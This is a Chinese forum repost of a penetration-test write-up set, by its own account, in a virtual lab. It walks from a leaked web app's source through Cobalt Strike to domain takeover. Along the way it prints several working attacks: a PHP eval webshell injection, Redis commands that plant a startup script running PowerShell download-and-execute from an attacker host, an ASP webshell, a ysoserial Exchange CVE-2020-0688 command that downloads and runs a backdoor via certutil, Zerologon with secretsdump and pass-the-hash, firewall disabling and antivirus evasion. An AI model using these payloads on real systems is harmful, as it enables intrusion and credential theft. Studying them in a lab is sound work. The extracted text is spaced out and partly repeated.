搜索

[26728] 2021-06-04_基于CobaltStrike的从外网打点到拿下域控

文档创建者：s7ckTeam
浏览次数：46
最后更新：2025-01-19
2021-06-04_基于CobaltStrike的从外网打点到拿下域控 基 于 C o b a l t   S t r i k e 的 从 外 网 打 点 到 拿 下 域 控 原 创   R a i l g u n   m o o n s e c   2 0 2 1 - 0 6 - 0 4 收 录 于 话 题 # 渗 透 测 试   , 1 8 # 网 安   , 9 # 渗 透 测 试   信 息 安 全   , 2 1 基 于 基 于 C o b a l t   S t r i k e 的 从 外 网 打 点 到 拿 下 域 控 的 从 外 网 打 点 到 拿 下 域 控 忙 完 考 试 和 论 文 的 事 情 了 ， 感 谢 月 师 傅 给 的 测 试 学 习 机 会 忙 完 考 试 和 论 文 的 事 情 了 ， 感 谢 月 师 傅 给 的 测 试 学 习 机 会 注 ： 本 文 所 示 均 基 于 虚 拟 环 境 注 ： 本 文 所 示 均 基 于 虚 拟 环 境 D M Z   W E B   S e r v e r 边 界 的 w e b 服 务 器 就 像 上 图 ， 是 一 个 网 络 用 户 管 理 系 统 ， 探 测 了 下 目 录 找 到 一 个 w e b . z i p 是 源 码 ， 接 下 来 就 是 源 码 审 计 。 M y s q l   R e s t   G e t s h e l l k s s _ t o o l r e s e t . p h p 可 以 重 置 数 据 库 ， 但 是 做 了 一 个 验 证 安 全 接 口 密 码 的 操 作 ， 经 过 审 计 分 析 ， 安 全 接 口 明 文 存 放 在 源 码 当 中 : 直 接 v p s 整 个 库 连 上 ， 即 修 改 了 管 理 员 密 码 ， 本 来 想 看 更 新 c o n f i g . p h p 能 不 能 直 接 写 s h e l l ， 好 像 不 太 行 ， 怕 搞 坏 就 没 整 了 。
后 面 发 现 后 台 没 有 可 利 用 的 东 西 ， 还 是 回 去 审 一 下 能 不 能 直 接 g e t s h e l l 。 还 是 刚 才 的 r e s e t . p h p : 可 以 看 到 $ n s v r i d 是 可 控 的 ， 并 且 写 入 了 _ c o n f i g . p h p ， m c o 2 ( ) 就 是 起 了 个 拼 接 作 用 。 因 此 我 们 可 以 尝 试 g e t s h e l l ， p a y l o a d 如 下 : 或 者 写 完 整 的 s h e l l ， 把 后 面 多 出 来 的 括 号 分 号 注 释 掉 也 可 以 。 - - - - - - W e b K i t F o r m B o u n d a r y Q g Y q B a l d c H D I O d b Z C o n t e n t - D i s ;   n a m e = " S E T S V R "     1 - - - - - - W e b K i t F o r m B o u n d a r y Q g Y q B a l d c H D I O d b Z   C o n t e n t - D i s ;   n a m e = " S V R I D "     1 ) ; @ e v a l ( $ _ P O S T [ R 2 S ] ) ; / / 效 果 如 下 : B T   B y p a s s   D i s a b l e _ F u n c t i o n s w i n d o w s 下 的 ， 试 了 下 没 什 么 办 法 绕 过 d i s a b l e f u n c t i o n s ， 同 时 也 不 支 持 解 析 其 他 脚 本 语 言 。 其 实 权 限 还 是 挺 大 的 ， 就 是 不 能 执 行 命 令 ， 有 B T 和 火 绒 。 从 宝 塔 入 手 :
C : / B t S o f t / p a n e l / d a t a / d e f a u l e . d b 后 台 入 口 以 及 账 号 密 码 , 带 盐 也 没 解 开 ， 翻 文 件 : 默 认 密 码 用 第 一 个 用 户 名 登 陆 成 功 。 可 以 执 行 命 令 。 C S   B y p a s s   H u o r o n g 因 为 翻 目 录 看 到 有 火 绒 ， t a s k l i s t 一 下 : 因 为 权 限 不 小 ， 尝 试 能 不 能 k i l l 掉 : 果 然 还 是 k 不 掉 ， 估 计 只 能 老 老 实 实 免 杀 : 尝 试 了 一 些 免 杀 操 作 ， 奈 何 确 实 是 太 菜 了 没 有 成 功 ， 我 本 地 运 行 p o w e r s h e l l p a y l o a d 的 时 候 发 现 火 绒 拦 截 的 是 隐 藏 操 作 ， 因 此 去 掉 p a y l o a d 中 的 - w h i d d e n 参 数 ， 本 地 测 试 上 线 成 功 。
远 程 上 线 成 功 ， 顺 便 抓 了 个 h a s h 。 R e d i s   S e r v e r 上 线 c s 首 先 是 做 了 个 s o c k s 4 代 理 ， 然 后 n e t v i e w 探 测 一 下 内 ， 没 收 到 结 果 ， 最 后 还 是 n m a p : 1 9 2 . 1 6 8 . 5 9 . 4 是 存 活 的 ， 我 们 着 重 看 一 下 , 发 现 开 了 8 0 和 6 3 7 9 。 确 定 是 一 台 W i n d o w s s e r v e r 。 G e t s h e l l 并 不 存 在 未 授 权 访 问 的 情 况 ， 尝 试 m s f 爆 破 : 尝 试 C S 上 线 ： 1 9 2 . 1 6 8 . 5 9 . 4 : 6 3 7 9 >   c o n f i g   s e t   d i r " C : / U s e r s / A d m i n i s t r a t o r / A p p D a t a / R o a m i n g / M i c r o s o f t / W i n d o w s / S t a r t M e n u / P r o g r a m s / s t a r t u p / "   O K   1 9 2 . 1 6 8 . 5 9 . 4 : 6 3 7 9 >   c o n f i g   s e t d b f i l e n a m e   s h e l l . b a t   O K   1 9 2 . 1 6 8 . 5 9 . 4 : 6 3 7 9 >   s e t   x " r n r n p o w e r s h e l l . e x e   - n o p   - w   h i d d e n   - c   " I E X ( ( n e w - o b j e c t n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' h t t p : / / 1 9 2 . 1 6 8 . 5 9 . 1 3 3 : 8 2 3 4 / a ' ) ) " r n r n " O K   1 9 2 . 1 6 8 . 5 9 . 4 : 6 3 7 9 >   s a v e   O K 没 有 办 法 ， 弹 不 到 s h e l l ， 尝 试 看 看 i i s 这 边 能 有 什 么 突 破 : 尝 试 了 n 久 ， 终 于 … ( 忘 了 i i s 应 该 可 以 爆 路 径 ) 虽 然 5 0 0 ， 但 是 明 显 是 可 以 解 析 的 ， 好 好 写 一 个 一 句 话 就 可 以 了 。 1 9 2 . 1 6 8 . 5 9 . 4 : 6 3 7 9 >   c o n f i g   s e t   d i r C : i n e t p u b w w w r o o t   O K   1 9 2 . 1 6 8 . 5 9 . 4 : 6 3 7 9 >   c o n f i g   s e t   d b f i l e n a m e a . a s p   O K   1 9 2 . 1 6 8 . 5 9 . 4 : 6 3 7 9 >   s e t   x   " r n r n < % e v a l r e q u e s t ( " r a " ) % > r n r n "   O K   1 9 2 . 1 6 8 . 5 9 . 4 : 6 3 7 9 > s a v e   O K
应 该 是 不 出 网 ， 权 限 非 常 小 ， 找 到 A L L U S E R 目 录 可 以 写 。 上 传 东 西 的 时 候 设 置 分 片 小 一 点 ， 最 大 超 时 时 间 大 一 点 。 在 弹 s h e l l 的 时 候 发 现 没 有 上 线 ， p i n g 了 一 下 D M Z 没 通 ， 估 计 是 防 火 墙 ， 所 以 关 了 D M Z 的 防 火 墙 。 N e t S h   A d v f i r e w a l l   s e t   a l l p r o f i l e s   s t a t e   o f f 上 线 成 功 。 P r i v i l e g e   E s c a l a t i o n 直 接 成 了 - - ， 再 上 线 。 E x c h a n g e   S e r v e r 两 张 网 卡 ， 我 们 先 来 探 测 一 下 。 需 要 注 意 ， c s 在 第 二 层 网 络 做 s o c k e t s 的 时 候 ， 就 不 需 要 在 本 地 挂 双 层 代 理 了 ， 挂 这 二 层 网 络 的 一 个 s o c k s 就 可 以 。 着 重 看 2 0 1 和 2 0 9 . 端 口 探 测 结 果 如 下 : 2 0 1 :   4 9 1 1 5   1 3 9   8 0   4 4 5   1 3 5       2 0 9 :   6 0 0 6   5 9 3   9 9 5 2 5   1 1 0   5 8 7   1 3 5   1 3 9   8 0   4 4 3   4 4 5
着 重 关 注 一 下 4 4 5 这 个 端 口 ， 试 了 一 下 永 恒 之 蓝 并 没 有 成 功 。 看 了 下 两 台 机 器 的 8 0 端 口 ， 都 是 I I S 的 f o r b i d d e n ， 但 是 2 0 9 的 4 4 3 是 一 个 o u t l o o k 。 考 虑 的 是 C V E - 2 0 2 0 - 0 6 8 8 和 C V E - 2 0 2 1 - 2 6 8 5 7 这 两 个 。 在 这 之 前 又 在 r e d i s 服 务 器 上 翻 了 翻 文 件 。 试 了 每 个 密 码 都 不 对 ， 后 面 看 了 下 p s t : C V E - 2 0 2 0 - 0 6 8 8 登 陆 成 功 ， 我 们 来 手 工 复 现 C V E - 2 0 2 0 - 0 6 8 8 v i e w s t a t e u s e r k e y g e n e r a t o r - - v a l i d a t i o n k e y   = C B 2 7 2 1 A B D A F 8 E 9 D C 5 1 6 D 6 2 1 D 8 B 8 B F 1 3 A 2 C 9 E 8 6 8 9 A 2 5 3 0 3 B F   默 认 ， 漏 洞 产 生 原 因   - - v a l i d a t i o n a l g   = S H A 1   默 认 ， 漏 洞 产 生 原 因   - - g e n e r a t o r   = B 9 7 B 4 E 2 7   基 本 默 认   - - v i e w s t a t e u s e r k e y =   8 9 b 3 9 4 5 6 - 3 6 b 1 - 4 4 c e - b b 2 8 - e a 9 d 5 f f 2 d a 5 f 构 造 如 下 p a y l o a d 使 用 y s o s e r i a l 进 行 反 序 列 化 ， 尝 试 写 了 s h e l l ， 但 是 w i n d o w s 写 s h e l l 真 的 烦 ， 不 成 功 ， 所 以 把 s h e l l 放 到 r e d i s 服 务 器 上 然 后 调 用 p o w e r s h e l l 下 载 ， 成 功 但 是 总 是 5 0 0 ， 直 接 上 c s 的 马 ( r e d i s 有 两 个 i p ， C S L i s t e n e r 用 1 9 2 . 1 6 8 . 5 9 段 的 不 会 上 线 ， 1 0 段 的 就 可 以 ) : 然 后 将 p a y l o a d 进 行 U R L 编 码 访 问 , 记 得 替 换 < g e n e r a t o r >   以 及 < V i e w S t a t e >   : / e c p / d e f a u l t . a s p x ? _ _ V I E W S T A T E G E N E R A T O R = < g e n e r a t o r > & _ _ V I E W S T A T E = < V i e w S t a t e > 访 问 后 会 5 0 0 ， 等 上 线 就 可 以 了 。 y s o s e r i a l . e x e   - p   V i e w S t a t e   - g T e x t F o r m a t t i n g R u n P r o p e r t i e s   - c   " c m d . e x e   / c   c e r t u t i l   - u r l c a c h e - s p l i t   - f   h t t p : / / 1 0 . 1 0 . 1 0 . 2 0 2 / b e . e x e   b . e x e   & &   b . e x e " - - v a l i d a t i o n a l g = " S H A 1 " - - v a l i d a t i o n k e y =
D C   S e r v e r 域 控 我 们 之 前 探 测 的 是 2 0 1 ， 最 先 想 到 的 是 C V E - 2 0 2 0 - 1 4 7 2 C V E - 2 0 2 0 - 1 4 7 2 1 、 置 空 : 2 、 导 h a s h — ( 脚 本 报 错 没 有 i m p a c k e t . e x a m p l e . u t i l s 以 及 k e y t a 库 解 决 方 案 ) : 将 i m p a c k e t - m a s t e r / i m p a c k e t / e x a m p l e / u t i l s 以 及 i m p a c k e t - m a s t e r / i m p a c k e t / e x a m p l e / k r b 5 拷 贝 到 脚 本 目 录 ， 并 修 改 引 用 库 如 下 : 3 、 拿 s h e l l 同 样 下 载 r e d i s 上 面 的 马 来 上 线 C S : S u m m a r y 总 结 一 下 : 1 .   通 过 D M Z   W E B   S E R V E R 代 码 泄 露 审 计 写 马 ， 翻 出 B T 后 台 、 账 号 密 码 以 及 通 过 B T 上 线 C S 2 .   第 二 层 的 R E D I S   S E R V E R 是 爆 破 密 码 进 入 ， 可 以 通 过 I I S 泄 露 物 理 路 径 或 猜 测 I I S 默 认 路 径 写 w e b s h e l l 然 后 上 线 C S 通 过 C S 自 带 的 g e t s y s t e m 提 权 p r o x y c h a i n s   c v e - 2 0 2 0 - 1 4 7 2 - e x p l o i t . p y 1 2 s e r v e r - d c $ ( d c   n a m e )   1 0 . 1 0 . 1 0 . 2 0 1 ( d c   i p )     p r o x y c h a i n s c v e - 2 0 2 0 - 1 4 7 2 - e x p l o i t . p y   1 2 s e r v e r - d c $   1 0 . 1 0 . 1 0 . 2 0 1 p r o x y c h a i n s   p y t h o n 3   s e c r e t s d u m p . p y c n c a t / 1 2 S E R V E R - D C $ @ 1 0 . 1 0 . 1 0 . 2 0 1 ( d c / d c   n a m e @ d c   i p ， $ 要 转 义 )   - n o - p a s s       p r o x y c h a i n s   p y t h o n 3   s e c r e t s d u m p . p y X X X / 1 2 S E R V E R - D C $ @ 1 0 . 1 0 . 1 0 . 2 0 1   - n o - p a s s p y t h o n 3   w m i e x e c . p y   - h a s h e s a a d 3 b 4 3 5 b 5 1 4 0 4 e e a a d 3 b 4 3 5 b 5 1 4 0 4 e e : 4 2 e 2 6 5 6 e c 2 4 3 3 1 2 6 9 f 8 2 1 6 0 f f 5 9 6 2 3 8 7 ( a d m i n i s t r a t o r ' s h a s h e s )   X X X / a d m i n i s t r a t o r @ 1 0 . 1 0 . 1 0 . 2 0 1 ( d o m a i n / a d m i n i s t r a t o r @ d o m a i n i p
3 .   E X C H A N G E 服 务 器 是 通 过 R E D I S   S E R V E R 翻 出 用 户 密 码 ， 通 过 C V E - 2 0 2 0 - 0 6 8 8   R C E 4 .   D C   S E R V E R 是 C V E - 2 0 2 0 - 1 4 7 2   N E T L O G O N 一 些 小 细 节 : 1 .   第 一 层 C S 上 线 以 后 就 可 以 用 C S 自 带 的 S O C K S 做 代 理 ， 通 过 N M A P 探 测 的 内 网 ， 第 二 层 做 代 理 时 不 需 要 和 第 一 层 一 起 构 造 成 链 ， 单 独 代 理 第 二 层 即 可 。 2 .   E X   R C E 写 s h e l l 不 成 功 可 以 通 过 R C E 下 载 并 执 行 C S 后 门 E X E 上 线 。 3 .   N E T L O G O N 利 用 时 脚 本 i m p o r t 有 问 题 ， 但 是 发 现 其 实 是 有 文 件 的 ， 就 可 以 把 文 件 复 制 到 当 前 目 录 直 接 i m p o r t   f i l e n a m e 4 .   还 有 信 息 收 集 很 重 要 ， 找 不 到 e x c h a n g e 的 用 户 洞 是 用 不 了 的 。 5 .   最 后 就 是 配 置 C S 的 时 候 ， 服 务 器 I P 客 户 端 登 不 上 ， 要 域 名 才 登 陆 成 功 ， L i s t e n e r 也 是 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理